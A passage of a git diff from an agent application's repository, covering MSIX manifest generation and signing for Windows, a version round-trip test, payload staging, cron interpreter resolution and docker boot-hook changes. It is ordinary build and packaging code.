readFile, readdir } from "node:fs/promises" +import { createRequire } from "node:module" +import path from "node:path" +import { fileURLToPath } from "node:url" + +import { + buildCapabilitiesXml, + buildExtensionsXml, + defaultTileTag, + lockScreenTag, + resolvePackageApplicationId, + resolvePackageIdentityName, + resourceLanguageTag, + splashScreenTag, + substituteManifestMacros, +} from "../../../node_modules/app-builder-lib/dist/targets/win/winAppUtil.js" +import { appIdentity } from "../../../scripts/msix-shared.mjs" + +const desktop = path.resolve(path.dirname(fileURLToPath(import.meta.url)), "..") +const repoRoot = path.resolve(desktop, "..", "..") +const variant = process.argv[2] || "bundled" +const arch = process.argv[3] || "x64" + +if (!["bundled", "light", "store"].includes(variant)) { + console.error(`variant must be 'bundled', 'light', or 'store', got '${variant}'`) + process.exit(1) +} + +process.env.HERMES_DESKTOP_VARIANT = variant +const require = createRequire(import.meta.url) +const config = require(path.join(desktop, "electron-builder.config.cjs")) +const pkg = require(path.join(desktop, "package.json")) + +const options = config.msix +// The payload CLI launcher (hermes.exe, the minted distlib launcher) is the +// MSIX entry point; the alias and AppExtension fragments in the config +// reference the same path. The launcher is self-relative and sets the +// payload's own PYTHONPATH. +const executable = `app\\resources\\agent-payload\\bin\\hermes.exe` +const displayName = options.displayName || config.productName +// appInfo.name honours extraMetadata.name the way packager merging does. +const appInfoName = config.extraMetadata?.name || pkg.name + +// Same asset discovery as computeUserAssets: requiring the config staged +// assets/appx/ into build/appx/ (the buildResources "appx" dir MsixTarget +// reads), so listing it here sees exactly what the win32 lane packs. +const userAssets = (await readdir(path.join(desktop, "build", "appx"))) + .filter((it) => !it.startsWith(".") && !it.endsWith(".db") && it.includes(".")) + +const extensions = await buildExtensionsXml({ + protocols: config.protocols, + fileAssociations: [], + addAutoLaunchExtension: options.addAutoLaunchExtension, + customExtensionsPath: options.customExtensionsPath, + appDir: desktop, + executable, + displayName, + dependencyNames: {}, +}) + +// Same precedence as MsixTarget.writeManifest: the config's custom +// template when set (resolved relative to the app dir, as getResource +// does), else the stock template. +const template = await readFile( + options.customManifestPath + ? path.resolve(desktop, options.customManifestPath) + : path.join(repoRoot, "node_modules", "app-builder-lib", "templates", "msix", "appxmanifest.xml"), + "utf8" +) + +const manifest = substituteManifestMacros(template, (m) => { + switch (m) { + case "publisher": return options.publisher + case "publisherDisplayName": return options.publisherDisplayName + // Same 4-part derivation the real build uses (msix-shared::appIdentity) — + // a nightly shows its minutes-since-stable component here too, so this + // inspection tool never disagrees with what electron-builder shipped. + case "version": return appIdentity(desktop, process.env.HERMES_PAYLOAD_TAG).version + case "applicationId": return resolvePackageApplicationId(options.applicationId, options.identityName, appInfoName, "MSIX") + case "identityName": return resolvePackageIdentityName(options.identityName, appInfoName, "MSIX") + case "executable": return executable + case "displayName": return displayName + case "description": return pkg.description || config.productName + case "backgroundColor": return options.backgroundColor || "#464646" + case "logo": return "assets\\StoreLogo.png" + case "square150x150Logo": return "assets\\Square150x150Logo.png" + case "square44x44Logo": return "assets\\Square44x44Logo.png" + case "lockScreen": return lockScreenTag(userAssets) + case "defaultTile": return defaultTileTag(userAssets, options.showNameOnTiles || false) + case "splashScreen": return splashScreenTag(userAssets) + case "arch": return arch + case "resourceLanguages": return resourceLanguageTag(options.languages) + case "capabilities": return `\n${buildCapabilitiesXml(options.capabilities)}\n` + case "extensions": return extensions + case "minVersion": return options.minVersion || "10.0.17763.0" + case "maxVersionTested": return options.maxVersionTested || options.minVersion || "10.0.17763.0" + case "packageIntegrity": return "" + default: throw new Error(`Macro ${m} is not defined`) + } +}) + +console.log(manifest) diff --git a/apps/desktop/scripts/msix-manifest-roundtrip.test.mjs b/apps/desktop/scripts/msix-manifest-roundtrip.test.mjs new file mode 100644 index 0000000000..0d930e5870 --- /dev/null +++ b/apps/desktop/scripts/msix-manifest-roundtrip.test.mjs @@ -0,0 +1,116 @@ +// MSIX BUILD_NUMBER round-trip (plan item 3.2): scripts/msix-shared.mjs's +// appIdentity() derivation must equal the Version= the built manifest ships. +// +// The "built manifest" here is the REAL one the win32 lane packs: the repo's +// custom template (assets/msix-manifest.xml) run through app-builder-lib's +// substituteManifestMacros — the same helper MsixTarget.writeManifest uses — +// with the version macro fed by appIdentity(), exactly as +// scripts/gen-msix-manifest.mjs (the offline inspection twin of the build) +// does. The test then reads the Version= back out of the XML and compares. +// +// The git-backed stable lookup is deterministic here because +// node:child_process.execFileSync is mocked; the math it feeds is the +// contract App Installer and makeappx compare. +import assert from 'node:assert/strict' +import fs from 'node:fs' +import os from 'node:os' +import path from 'node:path' +import { fileURLToPath } from 'node:url' +import { createRequire } from 'node:module' +import { beforeEach, test, vi } from 'vitest' + +vi.mock('node:child_process', () => ({ + execFileSync: vi.fn(), +})) + +const { execFileSync } = await import('node:child_process') +const msix = await import('../../../scripts/msix-shared.mjs') +const require = createRequire(import.meta.url) + +// The real helpers + template the build itself uses. +const { substituteManifestMacros } = require('../../../node_modules/app-builder-lib/dist/targets/win/winAppUtil.js') +const scriptsDir = path.dirname(fileURLToPath(import.meta.url)) +const desktopDir = path.resolve(scriptsDir, '..') +const template = fs.readFileSync(path.join(desktopDir, 'assets', 'msix-manifest.xml'), 'utf8') + +// A fake app dir with just enough for appIdentity (same shape as +// msix-shared.test.mjs's fixture). +function makeFakeDesktop(version) { + const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'msix-roundtrip-')) + fs.writeFileSync( + path.join(dir, 'product-identity.cjs'), + "module.exports = { store: false, light: false, displayName: 'Hermes', appId: 'com.nousresearch.hermes-bundled', channel: 'latest', appNamePascal: 'HermesBundled', msixAppIdWithOrg: 'NousResearch.HermesBundled' }\n" + ) + fs.writeFileSync(path.join(dir, 'package.json'), JSON.stringify({ name: 'hermes-desktop', version })) + return dir +} + +function gitMock(tags, stableEpoch) { + execFileSync.mockImplementation((cmd, args) => { + if (args[0] === 'tag') return `${tags.join('\n')}\n` + if (args[0] === 'log') return `${stableEpoch}\n` + throw new Error(`unexpected git call ${cmd} ${args.join(' ')}`) + }) +} + +// Substitute the template the way the build does: the version macro comes +// from appIdentity(); every other macro gets a deterministic placeholder — +// they are identity/packaging strings, not the contract under test here. +function buildManifest(appDir, tag) { + const { version } = msix.appIdentity(appDir, tag) + return { version, xml: substituteManifestMacros(template, (m) => (m === 'version' ? version : `test-${m}`)) } +} + +function identityVersion(xml) { + const identity = /]*>/.exec(xml) + assert.ok(identity, 'substituted manifest has no Identity element') + const version = /Version="([^"]*)"/.exec(identity[0]) + assert.ok(version, 'Identity element carries no Version attribute') + return version[1] +} + +beforeEach(() => { + execFileSync.mockReset() +}) + +test('stable tag: appIdentity derivation round-trips into the manifest Version', () => { + const app = makeFakeDesktop('0.27.1') + const { version, xml } = buildManifest(app, 'v0.27.1') + assert.equal(version, '0.27.1.0') + assert.equal(identityVersion(xml), version) +}) + +test('nightly tag: minutes-since-stable build number round-trips into the manifest Version', () => { + const app = makeFakeDesktop('0.27.1') + // Stable v0.27.1 committed 2026-08-01T00:00:00Z; nightly cut 2026-08-29T01:02:03Z. + const stableEpoch = Math.floor(Date.UTC(2026, 7, 1) / 1000) + gitMock(['v0.27.1', 'v0.27.2-nightly.20260829010203'], stableEpoch) + const { version, xml } = buildManifest(app, 'v0.27.2-nightly.20260829010203') + const expectedMinutes = Math.floor((Date.UTC(2026, 7, 29, 1, 2, 3) - Date.UTC(2026, 7, 1)) / 60000) + assert.equal(version, `0.27.2.${expectedMinutes}`) + assert.equal(identityVersion(xml), version) +}) + +test('manifest Version components are 16-bit (makeappx rejects anything larger)', () => { + const app = makeFakeDesktop('0.27.1') + const stableEpoch = Math.floor(Date.UTC(2026, 7, 1) / 1000) + gitMock(['v0.27.1', 'v0.27.2-nightly.20260829010203'], stableEpoch) + const { xml } = buildManifest(app, 'v0.27.2-nightly.20260829010203') + for (const part of identityVersion(xml).split('.')) { + const n = Number(part) + assert.ok(Number.isInteger(n) && n >= 0 && n <= 65535, `component ${part} outside 16 bits`) + } +}) + +test('a later nightly stamps a strictly larger BUILD_NUMBER than an earlier one', () => { + // The build number exists so Windows can order nightlies on the same + // base version; monotonicity across the stamp is the actual contract. + const app = makeFakeDesktop('0.27.1') + const stableEpoch = Math.floor(Date.UTC(2026, 7, 1) / 1000) + const early = 'v0.27.2-nightly.20260815080000' + const late = 'v0.27.2-nightly.20260829010203' + gitMock([early, late, 'v0.27.1'], stableEpoch) + const earlyBuild = Number(buildManifest(app, early).version.split('.')[3]) + const lateBuild = Number(buildManifest(app, late).version.split('.')[3]) + assert.ok(lateBuild > earlyBuild, `${lateBuild} must exceed ${earlyBuild}`) +}) diff --git a/apps/desktop/scripts/sign-msix.mjs b/apps/desktop/scripts/sign-msix.mjs new file mode 100644 index 0000000000..5a39c4d9cd --- /dev/null +++ b/apps/desktop/scripts/sign-msix.mjs @@ -0,0 +1,151 @@ +// electron-builder custom win.sign hook: Azure Trusted Signing for the MSIX +// package only. Windows install validation checks the package signature +// (AppxSignature.p7x over AppxBlockMap.xml); inner files are covered by the +// block-map hashes, NOT per-file Authenticode, so Hermes.exe and every +// payload binary stay unsigned and this hook signs exactly one artifact per +// build. +// +// Wired from electron-builder.config.cjs as +// win.sign = { type: 'signtool', sign: './scripts/sign-msix.mjs', ... } +// The Azure endpoint/account/profile do NOT ride through the config: this +// module reads the AZURE_SIGN_* environment variables directly +// (azureConfigFromEnv) and hands them to app-builder-lib's own +// WindowsSignAzureManager, so the actual signing path is byte-for-byte the +// one a plain { type: 'azure' } config would run. +// +// The Store-submission variant (artifactName "Store-" prefixed) is the one +// exception: its manifest Publisher is the Partner Center publisher ID +// (CN=EE6D86E4-...), which no signable cert subject can match — CA/B CSBR +// requires the legal entity's validated name and Artifact Signing cannot +// customize CN — so SignerSign rejects the package with ERROR_BAD_FORMAT +// (0x8007000B). Partner Center re-signs the package with the Microsoft +// Store certificate on ingestion, so the Store- msix ships unsigned. + +import fs from 'node:fs' +import { createRequire } from 'node:module' +import path from 'node:path' +import { pathToFileURL } from 'node:url' + +const require = createRequire(import.meta.url) + +// Artifacts that carry the only signature Windows validates for a packaged +// app. A .msixbundle envelope is included for the single-invocation bundle +// case (the envelope signature covers the inner .msix packages). +const SIGNED_ARTIFACT_EXTENSIONS = ['.msix', '.msixbundle'] + +// Store-submission artifacts are not ATS-signable (publisher mismatch, see +// the header) and don't need a signature (Partner Center signs on +// ingestion). Anything with this basename prefix is left unsigned. +const STORE_ARTIFACT_PREFIX = 'Store-' + +/** + * Whether `file` is a signing target. Everything except the MSIX package is + * covered by the package's block-map hashes and must stay untouched — + * signing it after packaging would break the hash. The Store-submission + * variant is excluded too: it cannot carry an ATS signature and does not + * need one. + */ +export function shouldSignFile(file) { + if (path.basename(file).startsWith(STORE_ARTIFACT_PREFIX)) return false + const lower = file.toLowerCase() + return SIGNED_ARTIFACT_EXTENSIONS.some(ext => lower.endsWith(ext)) +} + +/** + * @param {NodeJS.ProcessEnv} [env] + * @returns {{ type: 'azure' } & Record} the + * win.sign azure configuration, composed from the environment. + */ +export function azureConfigFromEnv(env = process.env) { + return { + type: 'azure', + endpoint: env.AZURE_SIGN_ENDPOINT, + codeSigningAccountName: env.AZURE_SIGN_ACCOUNT, + certificateProfileName: env.AZURE_SIGN_PROFILE, + publisherName: env.AZURE_SIGN_PUBLISHER + } +} + +// app-builder-lib's exports map exposes only "." and "./internal"; +// import('app-builder-lib/dist/...') throws ERR_PACKAGE_PATH_NOT_EXPORTED. +// Resolve the class the way run-electron-builder.mjs finds the CLI: resolve +// the entry module, walk up to the package root, then direct-file import +// (file URLs bypass the exports map). The constructibility of this class is +// pinned by the tripwire test in sign-msix.test.mjs, so a builder bump +// that moves it fails js-tests instead of a release build. +async function loadAzureManagerClass() { + const entry = require.resolve('app-builder-lib') + let root = path.dirname(entry) + while (!fs.existsSync(path.join(root, 'package.json'))) { + const parent = path.dirname(root) + if (parent === root) throw new Error('app-builder-lib package root not found') + root = parent + } + const mod = await import( + pathToFileURL(path.join(root, 'dist', 'codeSign', 'win', 'windowsSignAzureManager.js')).href + ) + return mod.WindowsSignAzureManager +} + +// One manager per process: electron-builder calls the hook once per file, +// and the manager memoizes toolset downloads / dlib metadata behind it. +let managerPromise = null + +function azureManager(packager) { + if (managerPromise == null) { + managerPromise = (async () => { + const WindowsSignAzureManager = await loadAzureManagerClass() + // The manager's constructor re-derives the signing config from + // packager.platformOptions.sign and throws unless type === 'azure' — + // but our config's win.sign is the { type: 'signtool' } hook wiring. + // Shim the packager with the azure config composed from the + // environment; everything else (config.toolsets, buildResourcesDir, + // getTempFile) delegates to the real packager via the prototype. + const shim = Object.create(packager) + Object.defineProperty(shim, 'platformOptions', { + value: { ...packager.platformOptions, sign: azureConfigFromEnv() } + }) + const manager = new WindowsSignAzureManager(shim) + // No-op on the modern signtool /dlib path (winCodeSign >= 1.3.0); + // installs the legacy PowerShell module otherwise. + await manager.initialize() + return manager + })() + } + return managerPromise +} + +/** + * Sign one file on app-builder-lib's own WindowsSignAzureManager — the exact + * path a plain { type: 'azure' } config runs. Used by the sign-msix hook for + * the package itself and by batch-sign-binaries.mjs's customSign hook for the + * product exe (which must be signed after rcedit, not in the afterPack batch). + * + * @param {string} file + * @param {any} packager WinPackager + */ +export async function azureSignFile(file, packager) { + const mgr = await azureManager(packager) + // signFileWithDlib reads only options.path (plus the manager's own + // signing config), so platformOptions is sufficient here. + await mgr.signFile({ path: file, options: packager.platformOptions }) +} + +/** + * The electron-builder custom sign hook. + * + * @param {{ path: string }} configuration CustomWindowsSignTaskConfiguration + * @param {any} packager WinPackager + */ +export default async function sign(configuration, packager) { + if (path.basename(configuration.path).startsWith(STORE_ARTIFACT_PREFIX)) { + console.log(`[sign-msix] skip Store- submission package (Partner Center signs on ingestion): ${configuration.path}`) + return + } + if (!shouldSignFile(configuration.path)) { + console.log(`[sign-msix] skip non-MSIX (covered by package block map): ${configuration.path}`) + return + } + + await azureSignFile(configuration.path, packager) +} diff --git a/apps/desktop/scripts/stage-payload.mjs b/apps/desktop/scripts/stage-payload.mjs new file mode 100644 index 0000000000..bc5122a16f --- /dev/null +++ b/apps/desktop/scripts/stage-payload.mjs @@ -0,0 +1,47 @@ +/** + * Stage the pm payload into build/agent-payload for a BUNDLED desktop + * build. Runs `hermes pm bundle` with the repo's own venv interpreter — + * the payload carries the repo snapshot (committed state), the tool + * store + facts, and a relocatable venv on the pinned interpreter. + * + * Plain `npm run dist` (no payload) still works: before-build.mjs writes + * an external:true stub and the app resolves a runtime at first launch. + */ +import { execFileSync } from 'node:child_process' +import fs from 'node:fs' +import path from 'node:path' + +const desktopRoot = path.join(import.meta.dirname, '..') +const repoRoot = path.join(desktopRoot, '..', '..') +const payloadDir = path.join(desktopRoot, 'build', 'agent-payload') + +function venvPython() { + for (const venv of ['.venv', 'venv']) { + for (const rel of [ + ['Scripts', 'python.exe'], + ['bin', 'python'] + ]) { + const candidate = path.join(repoRoot, venv, ...rel) + + if (fs.existsSync(candidate)) { + return candidate + } + } + } + + return null +} + +const python = venvPython() + +if (!python) { + console.error('stage-payload: no repo venv found — run `uv sync` in the repo root first') + process.exit(1) +} + +console.log(`stage-payload: ${python} -m pm.cli bundle --out ${payloadDir}`) +execFileSync(python, ['-m', 'pm.cli', 'bundle', '--out', payloadDir], { + cwd: repoRoot, + stdio: 'inherit', + env: { ...process.env, PYTHONUTF8: '1' } +}) diff --git a/apps/desktop/src/components/boot-failure-overlay.tsx b/apps/desktop/src/components/boot-failure-overlay.tsx index f001e50f29..10da60a276 100644 --- a/apps/desktop/src/components/boot-failure-overlay.tsx +++ b/apps/desktop/src/components/boot-failure-overlay.tsx @@ -179,7 +179,11 @@ export function BootFailureOverlay() { await desktop?.oauthLogoutConnectionConfig?.(remoteReauth.url) - let result: { connected?: boolean } | undefined + // `error` matters here: the oauth arm (oauthLoginConnectionConfig) and + // the cloud cascade can both fail with a reason, and the incomplete + // sign-in notice below surfaces it. (DesktopCloudAgentSignInResult has + // no error field; oauthLoginConnectionConfig does.) + let result: { connected?: boolean; error?: string } | undefined if (connectionConfig?.mode === 'cloud' && desktop?.cloud) { const status = await desktop.cloud.status() diff --git a/constraints-termux.txt b/constraints-termux.txt deleted file mode 100644 index dcc1becf64..0000000000 --- a/constraints-termux.txt +++ /dev/null @@ -1,15 +0,0 @@ -# Termux / Android dependency constraints for Hermes Agent. -# -# Usage: -# python -m pip install -e '.[termux]' -c constraints-termux.txt -# -# These pins keep the tested Android install path stable when upstream packages -# move faster than Termux-compatible wheels / sdists. - -ipython<10 -jedi>=0.18.1,<0.20 -parso>=0.8.4,<0.9 -stack-data>=0.6,<0.7 -pexpect>4.3,<5 -matplotlib-inline>=0.1.7,<0.2 -asttokens>=2.1,<3 diff --git a/cron/scheduler.py b/cron/scheduler.py index d8d9448b1b..00eda9463e 100644 --- a/cron/scheduler.py +++ b/cron/scheduler.py @@ -4037,20 +4037,61 @@ def _get_session_db_timeout() -> float: return 10.0 -def _read_windows_pyvenv_cfg(venv_dir: Path) -> dict[str, str]: - cfg_path = venv_dir / "pyvenv.cfg" - try: - lines = cfg_path.read_text(encoding="utf-8-sig").splitlines() - except OSError: - return {} +def _pm_runtime_venv_dir() -> Optional[Path]: + """The venv pm provisioned for this install, resolved from pm's own + records (facts.json + store layout) — never from interpreter state. - parsed: dict[str, str] = {} - for raw in lines: - if "=" not in raw: - continue - key, value = raw.split("=", 1) - parsed[key.strip().lower()] = value.strip() - return parsed + Under no-boot-through-venv the scheduler process is the store python + (``sys.prefix == sys.base_prefix``) and ``VIRTUAL_ENV`` is unset in + bundled installs, so prefix/env probing has nothing to offer. pm is + the authority: a bundled install keeps its relocatable venv beside the + manifest (a sibling of the store), a dev install syncs the project + venv (``venv``/``.venv`` — the same layout + ``pm.packages.Venv.venv_dir`` materializes). The venv fact must exist: + pm only vouches for what it provisioned. + """ + try: + from pm import paths + from pm.lock import Facts + except Exception: + return None + try: + if not Facts(paths.facts_path()).get("venv"): + return None + except Exception: + return None + store = paths.store_root() + bundled = store.parent / "venv" + if (store.parent / "manifest.json").is_file(): + return bundled if bundled.is_dir() else None + try: + from hermes_constants import project_venv_dir + except ImportError: + return None + return project_venv_dir(paths.repo_root()) + + +def _pm_store_python_exe() -> Optional[Path]: + """The base interpreter pm staged for this install (the ``python`` + fact's store entry), or None. This is the store python — never a venv + launcher — so it is the right interpreter to run cron scripts with the + venv overlaid via environment (see + ``_windows_cron_python_invocation``).""" + try: + from pm import paths + from pm.lock import Facts + except Exception: + return None + try: + fact = Facts(paths.facts_path()).get("python") + if not fact or "entry" not in fact: + return None + exe = paths.store_root() / fact["entry"] / ( + "python.exe" if sys.platform == "win32" else "bin/python3" + ) + return exe if exe.is_file() else None + except Exception: + return None def _windows_cron_python_invocation(python_exe: str) -> tuple[str, dict[str, str]]: @@ -4059,15 +4100,16 @@ def _windows_cron_python_invocation(python_exe: str) -> tuple[str, dict[str, str Cron scripts capture stdout/stderr, so using ``pythonw.exe`` directly can lose script output. uv-created venv ``python.exe`` launchers are also a problem: even with CREATE_NO_WINDOW, the launcher can re-exec the base - console interpreter and flash a visible window. For uv venvs, bypass the - launcher and run the base ``python.exe`` directly with the venv paths - overlaid in the environment. + console interpreter and flash a visible window. When pm has provisioned + a runtime venv (facts/store resolution — never pyvenv.cfg, which is + dead config under no-boot-through-venv), bypass the launcher and run + the pm store python directly with the venv paths overlaid in the + environment. """ if sys.platform != "win32": return python_exe, {} interpreter = Path(python_exe) - venv_dir = interpreter.parent.parent env_overlay: dict[str, str] = {} if interpreter.name.lower() == "pythonw.exe": @@ -4075,22 +4117,20 @@ def _windows_cron_python_invocation(python_exe: str) -> tuple[str, dict[str, str if sibling.exists(): interpreter = sibling - cfg = _read_windows_pyvenv_cfg(venv_dir) - home = cfg.get("home", "") - site_packages = venv_dir / "Lib" / "site-packages" - if "uv" in cfg and home: - base_python = Path(home) / "python.exe" - if base_python.exists() and site_packages.exists(): - interpreter = base_python - env_overlay["VIRTUAL_ENV"] = str(venv_dir) - pythonpath_entries = [ - str(Path(__file__).resolve().parents[1]), - str(site_packages), - ] - existing_pythonpath = os.environ.get("PYTHONPATH", "") - if existing_pythonpath: - pythonpath_entries.append(existing_pythonpath) - env_overlay["PYTHONPATH"] = os.pathsep.join(pythonpath_entries) + venv_dir = _pm_runtime_venv_dir() + base_python = _pm_store_python_exe() + site_packages = venv_dir / "Lib" / "site-packages" if venv_dir else None + if base_python is not None and site_packages is not None and site_packages.exists(): + interpreter = base_python + env_overlay["VIRTUAL_ENV"] = str(venv_dir) + pythonpath_entries = [ + str(Path(__file__).resolve().parents[1]), + str(site_packages), + ] + existing_pythonpath = os.environ.get("PYTHONPATH", "") + if existing_pythonpath: + pythonpath_entries.append(existing_pythonpath) + env_overlay["PYTHONPATH"] = os.pathsep.join(pythonpath_entries) return str(interpreter), env_overlay @@ -4248,8 +4288,10 @@ def _windows_cron_bootstrap_argv( the pre-existing PYTHONPATH behaviour is strictly better than failing to run at all. """ - site_packages = Path(env_overlay.get("VIRTUAL_ENV", "")) / "Lib" / "site-packages" - if not site_packages.is_dir(): + venv_value = env_overlay.get("VIRTUAL_ENV", "") + venv_dir = Path(venv_value) if venv_value else _pm_runtime_venv_dir() + site_packages = venv_dir / "Lib" / "site-packages" if venv_dir else None + if site_packages is None or not site_packages.is_dir(): # Silent here would make the "editable installs invisible" failure # undiagnosable; the pre-existing PYTHONPATH-only behaviour applies. logger.warning( @@ -4364,14 +4406,19 @@ def _run_job_script( # choice explicit here keeps the allowed surface small and auditable. suffix = path.suffix.lower() if suffix in {".sh", ".bash"}: - # Resolve bash dynamically so Windows (Git Bash) and Linux/macOS - # all work. On native Windows without Git for Windows installed - # shutil.which returns None — fall back to a clear error rather + # Resolve bash dynamically so Windows (Git for Windows) and + # Linux/macOS all work — through pm.shell, the one bash authority + # (it prefers conventional installs over MSIX-package aliases, + # which only spawn inside their package context). On native + # Windows without any bash — fall back to a clear error rather # than a FileNotFoundError with a confusing "[WinError 2]" # traceback. - _bash = shutil.which("bash") or ( - "/bin/bash" if os.path.isfile("/bin/bash") else None - ) + try: + from pm.shell import bash as _pm_bash + + _bash = _pm_bash() + except Exception: + _bash = None if _bash is None: return False, ( f"Cannot run .sh/.bash script {path.name!r}: bash not found on PATH. " diff --git a/docker/stage2-hook.sh b/docker/stage2-hook.sh index 54b50bd2e4..486879e7b0 100755 --- a/docker/stage2-hook.sh +++ b/docker/stage2-hook.sh @@ -247,7 +247,7 @@ if [ "$needs_chown" = true ]; then # Hermes-owned subdirs: recursive chown is safe here because these are # created and managed exclusively by hermes (see the s6-setuidgid mkdir # -p block below for the canonical list). - for sub in cron sessions logs hooks memories skills skins plans workspace home profiles pairing platforms/pairing lazy-packages; do + for sub in cron sessions logs hooks memories skills skins plans workspace home profiles pairing platforms/pairing; do if [ -e "$HERMES_HOME/$sub" ] && tree_has_non_hermes_owner "$HERMES_HOME/$sub"; then chown_hermes_tree "$HERMES_HOME/$sub" fi @@ -262,16 +262,8 @@ fi # non-writable prevents an agent session from self-modifying the installed # source, venv, TUI bundle, or node_modules and bricking the gateway. # -# Lazy-installable optional backends (Firecrawl, Exa, Feishu, etc.) cannot -# install into the sealed venv, so they are redirected to the writable -# $HERMES_HOME/lazy-packages dir on the data volume (Dockerfile sets -# HERMES_LAZY_INSTALL_TARGET). That dir is appended to the END of sys.path, -# so a package installed there can only ADD modules — it can never shadow or -# break a core module, which is what keeps the sealed-venv guarantee intact -# even though installs are re-enabled. The dir is seeded + chowned to hermes -# in the mkdir/chown blocks above so first-use installs succeed as the -# unprivileged runtime user, and it persists across container recreates / -# image updates (an ABI stamp wipes it if a rebuild bumps the interpreter). +# Lazy installs are fully disabled at runtime (HERMES_DISABLE_LAZY_INSTALLS=1, +# see the Dockerfile), so no writable lazy-install target is provisioned here. # Always reset ownership of $HERMES_HOME/profiles to hermes on every # boot. Profile dirs and files can land owned by root when commands @@ -392,8 +384,7 @@ as_hermes mkdir -p \ "$HERMES_HOME/workspace" \ "$HERMES_HOME/home" \ "$HERMES_HOME/pairing" \ - "$HERMES_HOME/platforms/pairing" \ - "$HERMES_HOME/lazy-packages" + "$HERMES_HOME/platforms/pairing" # --- Install-method stamp --- # The 'docker' stamp is baked into the immutable install tree at @@ -646,42 +637,31 @@ if [ -d "$INSTALL_DIR/skills" ]; then || echo "[stage2] Warning: skills_sync.py failed; continuing" fi -# --- Discover agent-browser's Chromium binary --- -# The image's Dockerfile runs `npx playwright install chromium`, which -# populates ``$PLAYWRIGHT_BROWSERS_PATH`` (=/opt/hermes/.playwright) with -# a ``chromium_headless_shell-/chrome-headless-shell-linux64/`` -# directory. agent-browser (the runtime CLI Hermes spawns for the -# browser tool) doesn't recognise this layout in its own cache scan and -# fails with "Auto-launch failed: Chrome not found" — even though the -# binary is right there (#15697). +# --- Point agent-browser at the pinned Chromium binary --- +# The image's Dockerfile pm-provisions the pinned Chromium pair into +# $HERMES_RUNTIME_DIR (/opt/hermes/tools) at BUILD time and bakes the +# resolved browser binary path into /etc/hermes/agent-browser-executable-path +# (the layout differs per arch — chrome-linux64/chrome on amd64, +# chromium-linux-arm64/chromium on arm64 — so it is resolved at build time, +# not hard-coded). agent-browser (the runtime CLI Hermes spawns for the +# browser tool) doesn't recognise Playwright's directory layout in its own +# cache scan and fails with "Auto-launch failed: Chrome not found" — even +# though the binary is right there (#15697). # -# Fix: locate the binary at boot and export ``AGENT_BROWSER_EXECUTABLE_PATH`` +# Fix: read the baked path and export ``AGENT_BROWSER_EXECUTABLE_PATH`` # via /run/s6/container_environment so the `with-contenv` shebang on # main-wrapper.sh propagates it into the supervised ``hermes`` process # and thence to agent-browser subprocesses. # # - Skipped when the user has already set ``AGENT_BROWSER_EXECUTABLE_PATH`` # (lets users override with a system Chrome install). -# - Filename-matched (not path-matched): the chromium dir contains many -# shared libraries (libGLESv2.so, libEGL.so, ...) which inherit the -# executable bit from Playwright's tarball but are NOT browser binaries. -# We only accept files whose basename is chrome / chromium / -# chrome-headless-shell / headless_shell / chromium-browser. Compare -# PR #18635's earlier ``find | grep -Ei 'chrome|chromium'`` which would -# match the path ``.../chrome-headless-shell-linux64/libGLESv2.so`` and -# pick a .so. -# - Quietly skipped when $PLAYWRIGHT_BROWSERS_PATH doesn't exist (e.g. -# custom builds that strip Playwright). +# - Quietly skipped when the baked path file is absent (e.g. custom builds +# that strip the pm tool store). if [ -z "${AGENT_BROWSER_EXECUTABLE_PATH:-}" ] && \ - [ -n "${PLAYWRIGHT_BROWSERS_PATH:-}" ] && \ - [ -d "$PLAYWRIGHT_BROWSERS_PATH" ]; then - browser_bin=$(find "$PLAYWRIGHT_BROWSERS_PATH" -type f -executable \ - \( -name 'chrome' -o -name 'chromium' \ - -o -name 'chrome-headless-shell' -o -name 'headless_shell' \ - -o -name 'chromium-browser' \) \ - 2>/dev/null | head -n 1) - if [ -n "$browser_bin" ]; then - echo "[stage2] Found agent-browser Chromium binary: $browser_bin" + [ -f /etc/hermes/agent-browser-executable-path ]; then + browser_bin="$(cat /etc/hermes/agent-browser-executable-path)" + if [ -n "$browser_bin" ] && [ -x "$browser_bin" ]; then + echo "[stage2] Using pinned agent-browser Chromium binary: $browser_bin" # Write to s6's container_environment so with-contenv picks it # up for all supervised services (main-hermes, dashboard, etc.). # Idempotent: each boot overwrites with the current path. @@ -690,7 +670,7 @@ if [ -z "${AGENT_BROWSER_EXECUTABLE_PATH:-}" ] && \ mkdir -p /run/s6/container_environment printf '%s' "$browser_bin" > /run/s6/container_environment/AGENT_BROWSER_EXECUTABLE_PATH else - echo "[stage2] Warning: no Chromium binary under $PLAYWRIGHT_BROWSERS_PATH; browser tool may fail" + echo "[stage2] Warning: baked Chromium binary is missing (${browser_bin:-}); browser tool may fail" fi fi diff --git a/gateway/platform_registry.py b/gateway/platform_registry.py index e639bc838b..402bf626c2 100644 --- a/gateway/platform_registry.py +++ b/gateway/platform_registry.py @@ -87,7 +87,7 @@ class PlatformEntry: validate_config: Optional[Callable[[Any], bool]] = None # ACTIVE dependency installer: make the platform's dependencies available, - # installing them (pip / lazy_deps) if needed. Returns True once deps are + # installing them (pm.sync_venv) if needed. Returns True once deps are # importable, False if they could not be installed. Called by # ``create_adapter()`` when ``check_fn`` returns False — i.e. exactly at # the moment the gateway is about to bring the platform up and the user diff --git a/gateway/relay/ws_transport.py b/gateway/relay/ws_transport.py index 5e90887c57..b526425293 100644 --- a/gateway/relay/ws_transport.py +++ b/gateway/relay/ws_transport.py @@ -455,7 +455,7 @@ class WebSocketRelayTransport: if not WEBSOCKETS_AVAILABLE: raise RuntimeError( "WebSocketRelayTransport requires the 'websockets' package " - "(install the messaging extra)." + "(a hermes-agent core dependency)." ) self._url = _ws_dial_url(url) self._platform = platform diff --git a/gateway/run.py b/gateway/run.py index 9976234f95..d5db2e1f70 100644 --- a/gateway/run.py +++ b/gateway/run.py @@ -32272,7 +32272,42 @@ def main(): with open(args.config, encoding="utf-8") as f: data = yaml.safe_load(f) or {} config = GatewayConfig.from_dict(data) - + + + # Post-update boot bootstrap: when this install's code changed since the + # last boot (app-updater swap, docker/nix image change, git pull without + # `hermes update`), run the idempotent user-state steps (config + # migration, skills sync, state.db guard) before platforms connect. + # Two file reads when nothing changed; never raises. + try: + from pathlib import Path as _Path + + from hermes_cli.boot_bootstrap import maybe_run_boot_bootstrap + + maybe_run_boot_bootstrap(_Path(__file__).resolve().parents[1]) + except Exception as exc: + # maybe_run_boot_bootstrap itself never raises and logs internally; + # this guard covers the import/lookup path. Don't hide it silently. + logger.warning("boot bootstrap setup failed (continuing boot): %s", exc) + + # pm startup: same contract as the CLI dispatch path (hermes_cli/main.py) + # — the gateway daemon never passes through CLI dispatch, so without this + # it would boot without the store's 